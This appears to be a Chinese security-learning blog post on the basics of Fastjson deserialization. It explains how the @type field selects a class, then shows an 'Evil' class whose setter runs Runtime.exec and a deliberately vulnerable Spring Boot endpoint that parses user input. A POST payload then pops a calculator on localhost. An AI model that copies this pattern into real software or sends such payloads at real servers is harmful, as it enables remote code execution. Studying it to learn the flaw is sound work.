Fastjsonfan反序列链学习前置知识
Fastjson前置知识
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象
1、Fastjson基础用法
1.1、序列化与反序列基础用法
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
1.2、使用案例
实体类User
package com.akkacloud.pojo;
public class User {
public int id;
public String name;
public int age;
public User() {
}
public User(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
对象转字符串(序列化)
package com.akkacloud.pojo.demo;
import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class fastjsonTest {
public static void main(String[] args) {
User user = new User();
user.setId(1);
user.setName("zhangsan");
user.setAge(18);
//对象转字符串
String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2);
}
}
输出结果
{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}
字符串转对象(反序列化)
package com.akkacloud.pojo.demo;
import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class fastjsonTest {
public static void main(String[] args) {
User user = new User();
user.setId(1);
user.setName("zhangsan");
user.setAge(18);
//对象转字符串
String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2);
System.out.println("s1==========================s1");
//字符串转对象
Object o1 = JSON.parse(s1);
JSONObject jo1 = JSON.parseObject(s1);
User user1 = JSON.parseObject(s1, User.class);
System.out.println(o1);
System.out.println(jo1);
System.out.println(user1);
System.out.println("s2=========================s2");
Object o2 = JSON.parse(s2);
JSONObject jo2 = JSON.parseObject(s2);
User user2 = JSON.parseObject(s2, User.class);
System.out.println(o2);
System.out.println(jo2);
System.out.println(user2);
}
}
输出结果
{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}
s1==========================s1
{"name":"zhangsan","id":1,"age":18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}
s2=========================s2
User{id=1, name='zhangsan', age=18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}
我们对比使用SerializerFeature.WriteClassName的s2和不使用的s1,发现序列化时(对象转为字符串)多了一个字段@type,他指定了我们序列化的类,那么我们在反序列化时(字符串转对象)也会使用我们指定的@type字段所指定的类,进而调用set、get方法。这样我们就可以同在在@type指定我们的恶意类,造成代码执行,但是在序列化时不会调用我们的private修饰且没有get方法的属性。
我们修改User类的age为private属性并且删除其get方法试试,确实没有了age属性

为什么会执行set方法呢。
我们新建一个测试类看看
package com.fastjsontest.demo.pojo;
import java.io.IOException;
public class Evil {
private String cmd;
public Evil() {
System.out.println("Evil==constructor");
}
public Evil(String cmd) {
this.cmd = cmd;
System.out.println("Evilcmd==constructor");
}
public String getCmd() {
System.out.println("Evil==getter");
return cmd;
}
public void setCmd(String cmd) throws IOException {
System.out.println("Evil==setter");
this.cmd = cmd;
}
@Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}
调用输出来看看
package com.fastjsontest.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class test {
public static void main(String[] args) {
String cmdjson="{\"@type\":\"com.fastjsontest.demo.pojo.Evil\",\"cmd\":\"open /System/Applications/Calculator.app\"}";
Object parse = JSON.parse(cmdjson);
System.out.println("====================");
JSONObject jsonObject = JSON.parseObject(cmdjson);
System.out.println("====================");
Object o = JSON.parseObject(cmdjson, Object.class);
}
}
输出结果

可以看到只有jsonObject调用getter、setter方法和无参构造方法,其他两个未调用getter方法,具体分析看大佬的文章https://y4er.com/post/fastjson-learn/,这里不做分析。
1.3、恶意类实现执行代码
接下来我们尝试构造一个恶意的类Evil,再起set方法设置我们的恶意代码。
package com.fastjsontest.demo.pojo;
import java.io.IOException;
public class Evil {
private String cmd;
public Evil() {
}
public Evil(String cmd) {
this.cmd = cmd;
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
this.cmd = cmd;
}
@Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}
创建一个springboot项目
package com.fastjsontest.demo.controller;
import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class fastjsontest {
@RequestMapping("/fastjson")
@ResponseBody
public String cmd(@RequestParam(name="user") String user){
Object o = JSON.parseObject(user, Object.class);
System.out.println(o);
return o.getClass().getName();
}
}
访问http://127.0.0.1:8080/fastjson
post
user={"@type":"com.fastjsontest.demo.pojo.Evil","cmd":"open /System/Applications/Calculator.app"}

那么假设我们有一个可控的入口,如这里的fastjson的user参数,再找到一个利用链(这里是Evil的set方法)就可以造成远程代码执行了
1.4、结束
本章学习了Fastjson的基本用法,漏洞利用,下一章学习fastjson的利用链。
参考链接
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/nice0e3/p/14601670.html#
Fastjsonfan反序列链学习前置知识的更多相关文章
- JDK7u21反序列链学习
JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...
- CommonsCollection2反序列链学习
CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...
- CommonsCollection6反序列化链学习
CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- CommonsCollection4反序列化链学习
CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...
- 学golang之前都需要哪些前置知识?
我学golang,感觉前面基础语法部分都很快能学会,但是到了goroutine,channel等后面的部分就看不懂了,是不是我学这个之前还得学习其他什么知识啊?(我有C语言基础,对于C语言里面的指针, ...
- CommonsCollection7反序列化链学习
CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- 欢迎关注我的微信公众账号:Linux技巧(微信号:irefactoring),一起学习Linux知识~~~
最近很少写博客了,一方面是近期工作比较繁忙,第二是把精力都放在GitHub和读源码去了. 申请了一个微信公众账号:Linux技巧 微信ID:irefactoring(意思是爱重构) ========= ...
随机推荐
- Bert不完全手册3. Bert训练策略优化!RoBERTa & SpanBERT
之前看过一条评论说Bert提出了很好的双向语言模型的预训练以及下游迁移的框架,但是它提出的各种训练方式槽点较多,或多或少都有优化的空间.这一章就训练方案的改良,我们来聊聊RoBERTa和SpanBER ...
- 关于使用charles进行mock步骤
1.应用场景: 1.1 测试环境中,可能存在部分依赖外部系统的http接口,因为外部系统未部署或服务不可用等其他原因,导致接口无法正常响应(特别是qa1环境): 而平时的测试主要还是以界面上的功能测试 ...
- 如何用系统命令sc修改系统服务
系统服务是系统的一项重要组成部分,sc命令在特定权限下,可以实现对指定服务的启动项.配置文件及状态进行修改,位置在c:\windows\system32\目录下面,下面就和大家分享一下如何用系统命令s ...
- MATLAB奔溃仅左上角显示关闭界面X
一 问题描述 今天在MATLAB调试图像增强程序时,忽然间点了MATLAB向下还原,奇怪的一幕发生了,电脑左上角仅显示关闭图标X.我就搜了MATLAB中文论坛(https://www.ilovema ...
- 【编程教室】Python绘制冬奥吉祥物“冰墩墩”
大家好,欢迎来到 Crossin的编程教室 ! 这两天,随着北京冬奥会的开幕,吉祥物"冰墩墩"可是火出了圈,多少人排长队都买不到.据说甚至有人把价格炒到了几千元. 就连昨天的&qu ...
- 【死磕NIO】— 探索 SocketChannel 的核心原理
大家好,我是大明哥,一个专注于[死磕 Java]系列创作的程序员. [死磕 Java ]系列为作者「chenssy」 倾情打造的 Java 系列文章,深入分析 Java 相关技术核心原理及源码. 死磕 ...
- 外部类能用private、protected修饰吗?内部类可以用private、protected修饰吗?
外部类不能用private.protected修饰不能.内部类能用private.protected修饰不能. 外部类的上一级程序单位是包,因此它只有两个使用范围:包内和包外,因此它只能用public ...
- 请说说你对Struts2的拦截器的理解?
Struts2拦截器是在访问某个Action或Action的某个方法,字段之前或之后实施拦截,并且Struts2拦截器是可插拔的,拦截器是AOP的一种实现. 拦截器栈(Interceptor Stac ...
- 如何创建spring web 工程
在项目资源管理器右键,New-Spring Starter Proje 设置一些参数 点击Next,然后勾选两个选项
- 如何从https://developer.mozilla.org上查询对象的属性、方法、事件使用说明和示例
在https://developer.mozilla.org搜索要在前面加上指令 搜索之后点进去 进入之后就是这样的 在页面左边你可以选择自己要查询的对象 里面就是会有属性.方法.事件使用说明和示例.